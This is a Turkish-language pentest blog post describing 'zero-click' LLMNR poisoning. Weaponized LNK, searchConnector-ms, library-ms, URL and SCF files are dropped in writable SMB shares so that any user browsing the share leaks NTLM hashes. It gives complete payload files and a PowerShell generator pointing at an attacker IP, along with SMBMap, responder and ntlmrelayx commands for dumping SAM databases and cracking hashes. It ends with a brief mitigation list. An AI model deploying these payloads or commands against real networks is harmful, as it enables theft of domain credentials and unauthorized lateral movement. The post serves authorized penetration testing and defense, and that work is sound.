Zero-Click LLMNR Poisoning

Selamlar! Bu yazımda farklı bir metodoloji ile gerçekleştirilebilecek LLMNR Poisoning saldırıları ile Son kullanıcıların herhangi bir dosya çalıştırması veya ekstra işlem yapmasına gerek kalmadan, yalnızca standart şekilde dosya paylaşımlarında gezinirken LLMNR Poisoning’in tetiklenmesini sağlayabildiğimiz saldırı metodolojisini senaryolar, saldırı vektörleri ve diğer tüm detayları ile birlikte açıklamaya çalışacağım. Evet, Zero-Click LLMNR Poisoning biraz fazla havalı bir isim oldu sanırım.

Anlatacağım metodolojide, sızma testlerinde standart olarak gerçekleştirilen LLMNR Poisoning saldırılarından farklı olan exploitation (sömürü) adımını Windows işletim sistemlerinde genellikle shortcut fonksiyonunu sağlayan dosyalar ile gerçekleştireceğiz. Bu sebep ile öncelikle saldırı senaryomuzun temelini oluşturan LLMNR Poisoning ve diğer atak vektörlerimizin ne olduğunu kısaca hatırlayalım.

LLMNR Poisoning

Saldırgan, ağdaki erişim isteklerini dinlemeye başlar ve broadcast olarak ağa paketler gönderir. Kurban, ağda bulunmayan ve DNS sunucusu kayıtlarında olmayan bir cihaza erişim isteğinde bulunur. DNS sunucusundan, böyle bir kayıt olmadığına dair yanıt aldıktan sonra, kurban tarafından tüm ağa bu sunucuyu bilen birinin olup olmadığı sorulur. Tam o sırada saldırgan, bu isteğe yanıt verir. Kurban kimlik bilgilerini ve NTLMv2Hash değerini saldırgana iletir. Bu sayede saldırgan parola hashini ele geçirmiş olur.

Windows Shortcut (.LNK) Dosyaları

Windows işletim sistemlerinde shortcut oluşturmak için kullanılan dosya türüdür. LNK dosyaları ile direkt olarak shortcut olarak belirlenen .exe dosyaları çalıştırılabilir veya farklı dizinlerde (path) yer alan klasörler & ortak alan paylaşımları açılabilir.

An LNK file is a shortcut or “link” used by Windows as a reference to an original file, folder, or application, similar to an alias on the Macintosh platform. It contains the shortcut target type, location, and filename as well as the program that opens the target file and an optional shortcut key.

https://fileinfo.com/extension/lnk

Search Connector (.searchConnector-ms) Dosyaları

Search Connector dosyaları, uzak bir konum için bağlantı bilgisi içerebilir, Web servislerine ve uzak depolama konumlarına bağlanmak için ve Uzak dosyaların Windows Gezgini kullanıcı arayüzü kullanılarak taranmasına izin verilmesi için kullanılabilir.

Search connectors connect users with data stored in web services or remote storage locations. With Windows 7, users can install search connectors for locations, like web services, so that they search those locations directly from Windows Explorer. Search connectors are Search Connector Description files (*.searchConnector-ms) that specify how to connect to, send queries to, and receive results from the location.

https://docs.microsoft.com/en-us/windows/win32/search/search-sconn-desc-schema-entry

Windows Library (.library-ms) Dosyaları

Library-ms dosyası, kitaplığı tanımlayan XML şemasını içermektedir. Library-ms, yerel veya uzak depolama konumundan öğeleri Windows Gezgini’nde tek bir görünümde toplamayı sağlamaktadır.

Libraries are virtual containers for users’ content. A library can contain files and folders stored on the local computer or in a remote storage location. In Windows Explorer, users interact with libraries in ways similar to how they would interact with other folders.

https://docs.microsoft.com/en-us/windows/client-management/windows-libraries

URL (.URL)

URL dosya uzantısı, Microsoft Windows işletim sistemlerinde, ek bilgiler (simge, simge yolu, değiştirilme tarihi, yollar vb.) içeren İnternet kısayolu – URL’yi (Uniform Resource Locator) depolamak için kullanılmaktadır.

A URL file is a shortcut that points to a specific Uniform Resource Locator. When you double-click a URL file, your computer accesses the URL the file contains. URL files most often contain https: web addresses and are used to access web pages. However, URL files can also contain mailto:, tel:, file:, or other URLs.

https://fileinfo.com/extension/url

Shell Command Files (.SCF)

Windows Explorer tarafından tarafından kullanılan komut dosyasıdır.

SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The “Show Desktop” shortcut we all use on a daily basis is an SCF file.

https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/

# Saldırı Senaryosu

“Ama neden, LLMNR Poisoning için bunca zahmete gerçekten gerek var mıydı?”

Öncelikle bu soruya cevap vermem sağlıklı olur sanırım, evet vardı. Klasik bir network sızma testi esnasında LLMNR Poisoning’in tetiklenmesi için responder aktif duruma getirildikten sonra domain kullanıcılarının yanlış bir ortak alan klasörüne (Shared Folders) gitmeye çalışması beklenir ki LLMNR Poisoning tetiklenerek NTLM hashi elde edilebilsin.

Bu metodolojiyi responder’in açık kaldığı süre/elde edilen NTLM hash sayısı oranı olarak değerlendirdiğimizde durum oldukça vahim olabiliyor. Bu senaryoda ele geçirilebilen 3-5 hashin algoritması da NTLMv2-SSP ise hash üzerinden parolanın elde edilmesi oldukça zor.

Şimdi de “Hashi kırmak istemiyorum, NTLM Relay ile birlikte yatayda farklı makinelere zıplayacaktım!” diyorsanız elde ettiğiniz 3-5 hashin arasında yetkili kullanıcıya ait bir hash olması için dua etmeye başlayabilirsiniz, zira aksi taktirde zıplamak istediğiniz o makinelere erişim sağlayamayacaksınız zaten.

“Tamam çok konuştun, sen ne öneriyorsun?”

Bol bol NTLM hashi toplayabilmek için hedef network üzerinde yazma (writable) yetkisi olan dosya paylaşımlarını (Shared Folders) tespit etmemiz gerekiyor.

Exploitation (sömürü) adımında ise, yazma yetkimizin olduğunu tespit ettiğimiz dosya paylaşımları içerisine aşağıdaki dosya uzantılarında oluşturacağımız zararlı dosyalarından herhangi bir tanesini eklememiz yeterli olacak.

  • Windows Shortcut (.LNK)
  • Search Connector Files (.searchConnector-ms)
  • Windows Library Files (.library-ms)
  • URL Files (.URL)
  • Shell Command Files (.SCF)

Yukarıda yer alan uzantılardan herhangi birisine sahip oluşturulan zararlı dosyanın, yazma izni olduğu tespit edilen tüm dosya paylaşımlarının içerisine kopyalanması gerekmektedir.

Oluşturulan bu zararlı dosyalar, çalışma yapısı gereği manual olarak son kullanıcı yani kurban tarafından execute edilmesine gerek kalmadan tetiklenebilmektedir. Kurbanın yalnızca ilgili zararlı dosyanın yer aldığı dosya paylaşımına girmesi sonucunda zararlı dosyalar içerisinde oluşturduğumuz remote path isteği tetiklenecek, gerçekten böyle bir path olmadığı için tüm ağa broadcast LLMNR isteği ileterek ilgili sunucuyu tanıyan var mı diye soracak ve burada saldırgan makinemiz araya girerek NTLM hashi ele geçirilebilecektir.

Bu metodoloji ile; zararlı dosya/dosyaları yerleştirebildiğimiz dosya paylaşımlarına erişen, bu klasörler içerisinde dolaşan bütün domain kullanıcılarının NTLM hash bilgilerini elde edebiliriz. Kulağa hoş geliyor değil mi?

Aktif olarak dosya paylaşımlarını kullanan bir kurumun network testlerini gerçekleştiriyorsanız ve yerel ağ üzerinde LLMNR Poisoning’in engellenmediğini tespit ettiyseniz güzel haber, her an bir sistem admin hashini ele geçirebilirsiniz. (:

# Keşif (Reconnaissance)

## Yazma Yetkimizin Olduğu Dosya Paylaşımlarının Tespiti

Hedeflediğimiz saldırı metodolojisinin keşif aşamasında, yazma (writable) yetkilerine sahip olduğumuz dosya paylaşımlarının tespiti için SMBMap aracını kullanabiliriz. SMBMap ile birlikte “write” yetkilerine sahip olunan tüm dosya paylaşımlarını tespit edebilir ve sonrasında oluşturacağımız zararlı dosyaları ilgili klasörlerin içerisine yerleştirebiliriz.

Active Directory ortamında ki dosya paylaşımlarına erişebilmek için bir domain kullanıcısı ihtiyacımız bulunmaktadır. Network sızma testleri tamamen blackbox olarak gerçekleştirilmiyor (bir zahmet) ise standart yetkilere sahip bir Active Directory hesabı açılarak pentester’ın ellerine teslim edilir. İlgili kullanıcı bilgileri ile birlikte SMBMap taramaları gerçekleştirilebilir.

git clone https://github.com/ShawnDEvans/smbmap.git
python3 -m pip install -r requirements.txt
nmap -Pn -p 445 -iL All-Subnets.txt --open > IP-List.txt
python3 smbmap.py --host-file IP-List.txt -u 4rch -p Password1337

Yazma izinlerimizin olduğu dosya paylaşımlarının hepsini tespit ettik, şimdi Weaponization (Silahlanma) adımına geçerek kullanabileceğimiz zararlı dosyalarımızı oluşturalım.

# Silahlanma (Weaponization)

## Windows Shortcut (.LNK)

LNK dosyalarının thumbnail’leri üzerinden SMB paylaşımlarına doğru istek gönderimi sağlanabilmektedir. Aşağıda yer alan powershell scripti ile sahte SMB paylaşımına istek yapan bir thumbnail içeren .LNK dosyası oluşturabilir ve bu sayede LLMNR Poisoning’i tetikleyerek NTLM hashlerini elde edebiliriz.

SMB paylaşımlarına doğru istek yapacak olan aslında .LNK dosyası değil de, .LNK dosyasının thumbnail’i olacağı için, bizim ilgili .LNK dosyasını eklediğimiz ortak alan klasörüne hangi son kullanıcı gelirse gelsin (Bir klasör açıldığı anda klasör içerisinde ki tüm dosyaların thumbnail’leri otomatik olarak listelenmekte/yüklenmektedir.) direkt olarak bizim oluşturduğumuz sahte SMB paylaşımı isteğimiz tetiklenecek ve bu sayede klasöre erişen bütün son kullanıcıların NTLM hash bilgileri elde edilebilecektir.

Herkesin erişebildiği veya en çok erişilen ortak alanlara bu .LNK dosyasının kopyalanabilmesi durumunda, domain üzerinde yer alan bir çok son kullanıcıya ait NTLM hashleri elde edilebilir.

Aşağıdaki powershell scripti içerisinde yer alan AttackerIP değeri, saldırgan makine IP adresi ile değiştirildikten sonra .ps1 uzantılı olacak şekilde kaydedilir.

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("$HOME\Desktop\.NTLM-Dementor.lnk")
$lnk.TargetPath = "\\<AttackerIP>\.NTLM-Dementor.xls"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "NTLM-Dementor LNK File"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
Write-Output "NTLM-Dementor .LNK File Saved successfully at $HOME\Desktop\NTLM-Dementor.lnk"

Sonrasında ilgili .ps1 scripti çalıştırılarak zararlı LNK dosyası elde edilir ve tespit edilen bütün yazma iznine sahip olunan ortak alan klasörleri içerisine kopyalanır.

.\NTLM-Dementor-LNK.ps1

Powershell scripti içerisinde ilgili .LNK dosya adının başında “.” olmasının (.NTLM-Dementor.lnk) sebebi, ilgili dosyanın, klasörün en üst sıralarında görünmesini sağlamaktır. İlgili zararlı .LNK dosyası klasörün ilk sıralarında olduğu durumda, bu klasöre bir kurbanın erişmesi durumunda direkt olarak thumbnail’in tetiklenmesi sağlanacak, bu sayede sahte SMB paylaşımına doğru istek gönderimi gerçekleşecektir.

İlgili istek tetiklendikten sonra gerçekten böyle bir SMB paylaşımı/dosyası bulunmadığı için kurban cihazları tarafından ağa bir LLMNR isteği iletilecek, saldırgan LLMNR isteğine cevap vererek LLMNR Poisoning’i gerçekleştirecek ve ilgili klasöre erişim sağlayan tüm son kullanıcıların NTLM hashleri elde edilebilecektir.

## Search Connector (.searchConnector-ms)

Search Connector dosyası, bağlayıcının nasıl görüntüleneceğini özelleştirmek için bir icon kullanılmasına izin vermektedir. İlgili icon değerinin tanımlandığı XML kod parçacığı (<iconReference></iconReference>) içerisine yerleştirilen payload ile SMB paylaşımına doğru istek gönderimi sağlanabilmektedir.

Aşağıdaki XML kod parçacığı içerisinde yer alan AttackerIP değeri, saldırgan makine IP adresi ile değiştirildikten sonra ilgili dosya uzantısı “.NTLM-Dementor.searchConnector-ms” olacak şekilde kaydedilmelidir.

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
  <iconReference>imageres.dll,-1002</iconReference>
  <description>NTLM-Dementor</description>
  <isSearchOnlyItem>false</isSearchOnlyItem>
  <includeInStartMenuScope>true</includeInStartMenuScope>
  <iconReference>\\<AttackerIP>\NTLM-Dementor</iconReference>
  <templateInfo><folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType></templateInfo>
  <simpleLocation>
    <url>\\<AttackerIP>\NTLM-Dementor.ico</url>
  </simpleLocation>
</searchConnectorDescription>

Exploitation adımı için artık ilgili dosyayı, yazma izinlerimizin olduğu tüm dosya paylaşımlarının içerisine yerleştirmemiz ve responder’i aktif hale getirmemiz yeterli olacaktır.

## Windows Library (.library-ms)

Windows Library dosyaları içerisinde yer alan XML kod parçacığı içerisine (searchConnectorDescription parçacığı istediğimiz SMB isteğini iletmektedir) yerleştirilen payload ile SMB paylaşımına doğru istek gönderimi sağlanabilmektedir.

Aşağıdaki XML kod parçacığı içerisinde yer alan AttackerIP değeri, saldırgan makine IP adresi ile değiştirildikten sonra ilgili dosya uzantısı “.NTLM-Dementor.library-ms” olacak şekilde kaydedilmelidir.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>    
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
      <url>\\<AttackerIP>\NTLM-Dementor</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

## URL (.URL)

Tıpkı .LNK uzantılarında olduğu gibi, .URL uzantılarında da dosyaya ait iconlar gösterilebilmektedir. İlgili icon dosyasının belirtildiği path alanına rastgele bir SMB paylaşıma istek yapılması sağlanacak payload yerleştirilmesi durumunda, yazımda bahsettiğim diğer dosya uzantılarının hepsinde olduğu gibi ilgili .URL dosyasının yer aldığı ortak alan klasörünün bir son kullanıcı açılması durumunda SMB isteği tetiklenecek ve son kullanıcıya ait NTLM hashleri elimize geçecektir.

Aşağıdaki kod parçacığı içerisinde yer alan AttackerIP değeri, saldırgan makine IP adresi ile değiştirildikten sonra ilgili dosya uzantısı “.NTLM-Dementor.url” olacak şekilde kaydedilmelidir.

[InternetShortcut]
URL=NTLMDementor
WorkingDirectory=NTLMDementor
IconFile=\\<AttackerIP>\\%USERNAME%.icon
IconIndex=1

## Shell Command Files (.SCF)

.SCF dosyaları üzerinde yer alan icon’un belirtildiği path alanına rastgele bir SMB paylaşıma istek yapılması sağlanacak payload yerleştirilerek LLMNR isteği tetiklenebilir. Bu senaryoda, yazımda bahsettiğim üzere ilgili zararlı .SCF dosyamızın barındırıldığı klasöre herhangi bir son kullanıcının girmesi durumunda otomatik olarak SMB isteği tetiklenecek ve NTLM hashleri elimize geçecektir.

Aşağıdaki kod parçacığı içerisinde yer alan AttackerIP değeri, saldırgan makine IP adresi ile değiştirildikten sonra ilgili dosya uzantısı “.NTLM-Dementor.scf” olacak şekilde kaydedilmelidir.

[Shell]
Command=2
IconFile=\\<AttackerIP>\NTLM-Dementor\NTLM-Dementor.ico
[Taskbar]
Command=ToggleDesktop

# Sömürme (Exploitation)

Exploitation (Sömürü) adımına geçtiğimizde Silahlanma aşamasında oluşturmuş olduğumuz bu zararlı dosyalardan yalnızca bir tanesini kullanabiliriz. Temel olarak, bahsedeceğim tüm dosyalar aynı işlevi (son kullanıcı ilgili klasöre erişim sağladığında zararlı dosyanın icon veya thumbnail’i otomatik olarak tetiklenerek remote path’e bir bağlantı isteği göndermektedir) gerçekleştirerek LLMNR Poisoning’in tetiklenmesini ve son kullanıcıların NTLM hashlerini yakalamamızı sağlamaktadır.

Aşağıdaki dosyalardan bir tanesi oluşturulup, sonrasında ilgili dosyayı SMBMap ile tespit etmiş olduğumuz yazma (writable) iznimizin olduğu tüm dosya paylaşımlarının içerisine yerleştireceğiz.

  • Windows Shortcut (.LNK)
  • Search Connector Files (.searchConnector-ms)
  • Windows Library Files (.library-ms)
  • URL Files (.URL)
  • Shell Command Files (.SCF)

Ardından saldırgan makinemiz üzerinde responder’i aktif duruma getirerek NTLM hashlerini keyifle toplamaya başlayabiliriz.

responder -I <interface>

# Post Exploitation

Post exploitation sürecinde ilk adım olarak NTLM Relay saldırıları gerçekleştirilebilir. Bu sayede eğer yetkili kullanıcılar LLMNR Poisoning’den etkilenir ise bu yetkili kullanıcıların NTLM hashleri kullanılarak farklı sunuculara erişim sağlanabilir, sunucular üzerinde reverse shell alınmasını sağlayacak zararlı yazılımlar çalıştırılabilir veya direkt olarak hedef sunucuların SAM veritabanları dump edilebilir. Bu noktada sızma testine en uygun senaryoya göre NTLM Relay saldırıları gerçekleştirilebilir.

Peki NTLM Relay nedir?

NTLM Relay saldırısı, saldırgan istediği sunucu/bilgisayara bağlanırken, LLMNR zehirlemesinden yararlanmak suretiyle LLMNR poisoning yaptığı kullanıcının bilgilerini kullanması, bir nevi man in the middle tekniği kullanmasıdır. Bu saldırıyı resmetmek, anlamak açısından bize yardımcı olabilir.

LLMNR Poisoning, NTLM Relay ve Daha Fazlası

NTLM Relay ile SAM Veri Tabanlarının Dump Edilmesi

Aşağıdaki nmap komutu ile birlikte networkteki smb signing’i olmayan veya smb signing’i “not required” olan sunucuları tespit edebiliriz.

nmap -sSV -p445 --open --script smb2-security-mode -iL scope.txt -oA ntlmRelayTargets.txt

Daha sonra responder’ı çalıştırarak bu zincirleme saldırıya başlayabiliriz. Ancak öncelikle responder.conf dosyası üzerinden smb ve http seçeneğini Off konumuna getirmemiz gerekmektedir. Çünkü responder artık yalnızca zehirleme işini yapacak ve geri kalan relay işini ntlmrelayx aracı SMB sunucusu kullanarak sağlayacaktır.

responder -I eth0 -wrfFb -vvv

Ardından aşağıdaki komut ile birlikte hedef sunucularda ki SAM veri tabanlarını dump etmeye çalışacak olan NTLM Relay saldırısını başlatabiliriz.

impacket-ntlmrelayx -tf ntlmRelayTargets.txt -l SAM -smb2support

Post exploitation sürecinin bir diğer adımında ise elde edilen tüm NTLM hashleri kırılmaya çalışılabilir. Basit parola kullanılması durumunda brute-force ile bazı son kullanıcılara ait parolalar elde edilebilir ve sonrasında yatayda ki hareket (lateral movement) süreçleri için ilgili kullanıcı bilgileri kullanılabilir.

# Mitigation

Yazı içerisinde belirtmiş olduğum bütün atak vektörleri için önlem/korunma noktasında aşağıda ki maddeler için aksiyonların alınması yeterli olacaktır.

  • LLMNR & NBT-NS protokolleri devre dışı bırakılmalıdır.
  • Bütün sunucular üzerinde SMB Signing aktif duruma getirilmelidir.
  • Dosya paylaşımları üzerinde ki izinler kontrol edilerek, yazma (writable) izinleri olan kullanıcılar veya kullanıcı grupları incelenmeli ve bu bağlamda sıkılaştırılma yapılması gerekmektedir.
  • Oluşturduğumuz farklı atak vektörü senaryolarını thumbnail ve icon dosyaları üzerinden gerçekleştirmiştik. Varsayılan olarak thumbnail ve icon dosyaları, dosya paylaşımları üzerinde direkt görüntülenecek şekilde set edilmiştir. Ancak GPO üzerinden ilgili thumbnail ve icon dosyalarının direkt olarak gözükmesi engellenebilmektedir.

Blog postu içerisinde belirtmiş olduğum Zero-Click LLMNR Poisoning atak vektörü/senaryolarına ait zararlı dosyalarının tamamına NTLM-Dementor github adresi üzerinden de kolaylıkla erişim sağlayabilirsiniz.

Referanslar

[1]: https://infinitelogins.com/2020/12/17/capturing-password-hashes-via-malicious-lnk-files/
[2]: https://delta.navisec.io/a-pentesters-guide-part-4-grabbing-hashes-and-forging-external-footholds/
[3]: https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
[4]: https://www.5ubterranean.digital/Active-Directory-Attacks
[5]: https://ahmtcnn.medium.com/llmnr-poisoning-ntlm-relay-ve-daha-fazlası
[6]: https://en.hackndo.com/ntlm-relay/#ntlm-relay

0x044

Yorum bırakın

WordPress.com'da bir web sitesi veya blog oluşturun

Yukarı ↑